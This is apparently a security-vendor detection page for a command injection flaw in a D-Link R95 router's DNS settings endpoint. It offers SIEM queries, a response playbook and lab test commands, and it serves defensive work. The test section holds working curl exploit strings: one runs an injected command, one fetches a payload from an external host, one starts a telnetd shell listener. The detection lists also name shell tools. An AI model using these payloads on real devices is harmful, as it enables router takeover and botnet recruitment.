Skip to content
CVE-2026-138226

D-Link R95 SetSecureDNSSettings Command Injection (CVE-2026-138226)

Initial Access Execution Last updated:

Detects exploitation attempts against CVE-2026-138226, a critical (CVSS 9.3) OS command injection vulnerability (CWE-77, CWE-78) in the SetSecureDNSSettings function within /bin/ssi (DHMAPI SOAP interface) on D-Link R95 1.04B04Beta. Manipulation of the URI argument leads to OS command execution. The attack can be launched remotely. The exploit has been disclosed to the public. Because the vulnerable surface is an embedded router binary, detection focuses on inbound HTTP/SSI requests carrying shell metacharacters toward the DNS settings endpoint and, where device telemetry is forwarded, anomalous child processes spawned by the web/CGI service (/bin/ssi).

Vulnerability Intelligence

Theoretical

What is CVE-2026-138226 D-Link R95 SetSecureDNSSettings Command Injection (CVE-2026-138226)?

D-Link R95 SetSecureDNSSettings Command Injection (CVE-2026-138226) (CVE-2026-138226) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for D-Link R95 SetSecureDNSSettings Command Injection (CVE-2026-138226), covering the data sources and telemetry it touches: Network Proxy Logs, Web Application Firewall, Firewall. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence
let cmdInjectionPatterns = dynamic([";","|","`","$(","&&","||","%3B","%7C","%60","wget ","curl ","busybox","telnetd","/bin/sh","nc "]);
CommonSecurityLog
| where DeviceVendor in~ ("Zscaler","Palo Alto Networks","Fortinet") or isnotempty(RequestURL)
| where RequestURL has_any ("SetSecureDNSSettings", "ssi", "DHMA", "SecureDNS")
| extend DecodedURL = url_decode(RequestURL)
| extend Payload = strcat(DecodedURL, " ", tostring(RequestContext))
| where Payload has_any (cmdInjectionPatterns)
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, DecodedURL, DeviceAction, DeviceVendor
| sort by TimeGenerated desc

Flags inbound HTTP requests targeting the D-Link R95 SetSecureDNSSettings / ssi endpoint that contain shell command-injection metacharacters.

critical severity medium confidence

Data Sources

Network Proxy Logs Web Application Firewall Firewall

Required Tables

CommonSecurityLog

False Positives

  • Authorized vulnerability scanners (e.g., Nessus, Qualys) probing the DNS settings endpoint
  • Security researchers performing sanctioned penetration tests against lab devices
  • Legitimate administrator configuration of Secure DNS containing semicolons in non-command contexts

Query fingerprint DF00-a9e94f06c0 · licence

Sigma logsource & community rules

The detection logic for D-Link R95 SetSecureDNSSettings Command Injection (CVE-2026-138226) (CVE-2026-138226) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated SetSecureDNSSettings command injection via semicolon

    Expected signal: Proxy/WAF log entry for a request to /ssi containing SetSecureDNSSettings and a semicolon-separated command.

  2. Test 2 Command injection with payload download tokens

    Expected signal: HTTP request log showing backtick-wrapped wget to an external host against the ssi endpoint.

  3. Test 3 Pipe-based command chaining probe

    Expected signal: Request log with %7C (pipe) and telnetd in the SecureDNS parameter; potential new listening port on the device.


Response Playbook

Triage

  1. Confirm whether the destination IP/host is a D-Link R95 running firmware 1.04B04Beta and whether its web management interface is reachable from the source of the request.
  2. URL-decode the captured request and inspect the SetSecureDNSSettings parameters for shell metacharacters (`;`, `|`, `` ` ``, `$(...)`, `&&`) and payload binaries (wget, curl, busybox, telnetd).
  3. Determine whether the request originated from an authorized scanner/pentest IP or from an unknown/external source by cross-referencing threat-intel and allowlists.
  4. Check for an HTTP 200/success response and any outbound connections from the device immediately following the request, indicating successful command execution.

Containment

  1. Block the source IP at the perimeter firewall and restrict the R95 web management interface to trusted management networks only.
  2. Isolate the affected router from the WAN and disable remote administration until patched or replaced.
  3. If compromise is confirmed, power-cycle and factory-reset the device, then re-provision from known-good firmware.

Evidence Collection

  1. Preserve full proxy/WAF/firewall logs of the inbound request including decoded URL, headers, source IP and timestamps.
  2. Capture any available device-side logs from /bin/ssi and the DHMAPI component, plus NetFlow for outbound connections post-exploitation.
  3. Export packet captures of the session if network sensors were recording the management VLAN.

Escalation Criteria

  • ! Escalate to IR when a command-injection request is followed by outbound connections, new processes, or configuration changes on the device.
  • ! Escalate when exploitation originates from an external/untrusted source against an internet-exposed R95.
  • ! Escalate when multiple R95 devices show the same injection pattern, indicating mass scanning or botnet recruitment.

Investigation Guide

Forensic Artifacts

  • > Inbound HTTP request logs to /ssi containing SetSecureDNSSettings with shell metacharacters
  • > Anomalous child processes spawned by the web/CGI service on the device
  • > Modified DNS/Secure DNS configuration or dropped binaries (busybox-based tools) on the router filesystem

Tuning Guidance

Allowlist known vulnerability-scanner and penetration-test source IPs to reduce noise. If the R95 management interface is only reachable from a dedicated management VLAN, restrict the rule scope to that destination range. Tune the metacharacter set if legitimate DNS configuration values in your environment contain semicolons, and correlate with device-side process telemetry where available to raise confidence from medium to high.


Hunting Queries

Surface sources repeatedly sending shell metacharacters to the ssi endpoint, indicating scanning or exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has 'ssi' | extend d=url_decode(RequestURL) | where d has_any (';','|','`','$(') | summarize count() by SourceIP, bin(TimeGenerated,1h)
Hunting — SPL
spl
``` df00tech DF00-a9e94f06c0 · https://df00tech.com/detections/CVE-2026-138226 · licence: https://df00tech.com/detections/licence ```
index=proxy url=*ssi* | eval d=urldecode(url) | where match(d,"[;|`]|\$\(") | stats count by src_ip

Atomic Red Team Tests

Test 1 Simulated SetSecureDNSSettings command injection via semicolon
linux

Sends an HTTP request to the R95 ssi endpoint injecting an id command through the SecureDNS parameter in a lab environment.

Command

bash
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=8.8.8.8%3Bid'

Cleanup

bash
echo 'No cleanup required; request is non-persistent. Factory-reset lab device if config changed.'

Expected Telemetry

Proxy/WAF log entry for a request to /ssi containing SetSecureDNSSettings and a semicolon-separated command.

Expected Detection

KQL/SPL rules match the decoded URL containing 'SetSecureDNSSettings' and the `;` metacharacter.

Test 2 Command injection with payload download tokens
linux

Simulates an attacker attempting to fetch a second-stage payload via busybox/wget through the vulnerable parameter.

Command

bash
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=1.1.1.1%60wget%20http://198.51.100.5/x%60'

Cleanup

bash
echo 'Non-persistent request; remove any downloaded artifact from lab device filesystem if present.'

Expected Telemetry

HTTP request log showing backtick-wrapped wget to an external host against the ssi endpoint.

Expected Detection

Detection rules fire on 'wget' and backtick tokens in the SecureDNS request.

Test 3 Pipe-based command chaining probe
linux

Tests the injection surface using a URL-encoded pipe to chain a command via the SecureDNS field.

Command

bash
curl -s 'http://192.0.2.10/ssi?action=SetSecureDNSSettings&dns1=9.9.9.9%7Ctelnetd%20-l%2Fbin%2Fsh%20-p9999'

Cleanup

bash
echo 'Kill any telnetd started on lab device: killall telnetd; reboot device.'

Expected Telemetry

Request log with %7C (pipe) and telnetd in the SecureDNS parameter; potential new listening port on the device.

Expected Detection

Rules match on the %7C/pipe and telnetd indicators in the request.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections